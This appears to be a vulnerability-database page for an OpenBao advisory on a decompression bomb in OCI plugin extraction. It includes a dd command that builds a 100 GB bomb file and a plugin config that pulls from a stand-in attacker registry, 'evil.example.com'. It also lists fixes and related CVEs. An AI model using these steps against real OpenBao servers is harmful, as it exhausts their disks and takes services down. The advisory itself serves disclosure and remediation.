CVE-2026-39396Low· 3.1▾ SunlitOpenBao: Decompression Bomb via Unbounded Copy in OCI Plugin Extraction (DoS)
▾ Sunlit zone — Low / medium · no exploitation signal
impact 17.1 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Jul 27.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.2%
ExtractPluginFromImage() in OpenBao's OCI plugin downloader extracts a plugin binary from a container image by streaming decompressed tar data via io.Copy with no upper bound on the number of bytes written.
An attacker who controls or compromises the OCI registry referenced in the victim's configuration can serve a crafted image containing a decompression bomb that decompresses to an arbitrarily large file.
The SHA256 integrity check occurs after the full file is written to disk, meaning the hash mismatch is detected only after the damage (disk exhaustion) has already occurred. This allow the attacker to replace legit plugin image with no need to change its signature.
helper/pluginutil/oci/downloader.go:301:
if _, copyErr := io.Copy(outFile, tarReader); copyErr != nil {
io.Copy() reads until EOF with no size limit.
The tar header.Size field is never validated before the copy, and mutate.Extract decompresses all gzip layers in memory/streaming, resulting in unbounded decompression-to-disk.
dd if=/dev/zero bs=1G count=100 > /tmp/bomb-binary
plugin "secrets" "bomb" {
image = "evil.example.com/plugin"
version = "v1.0.0"
binary_name = "openbao-plugin-secrets-bomb"
sha256sum = "0000000000000000000000000000000000000000000000000000000000000000"
}
plugin_auto_download = true
header.Size against a configurable maximum before opening the output filetarReader in io.LimitReader(tarReader, maxSize+1) and check bytes written after copygithub.com/openbao/openbao < 0.0.0-20260420180337-2b2a901aa9f7Upgrade to a patched release:
github.com/openbao/openbao 0.0.0-20260420180337-2b2a901aa9f7Connected by shared product, vendor, weakness, or advisory.
CVE-2026-42186LowOpenBao's Namespace Deletion May Not Delete Data Properly
CVE-2026-40264LowOpenBao's Token Store Allows Cross-Namespace Renewal, Revocation
CVE-2026-39388Low· 3.1OpenBao's Certificate Authentication Allows Token Renewal With Different Certificate
CVE-2026-39946Medium· 4.9OpenBao's SQL Injection in PostgreSQL database secrets engine
CVE-2026-45808HighOpenBao is an open source identity-based secrets management system
CVE-2026-46358MediumOpenBao is an open source identity-based secrets management system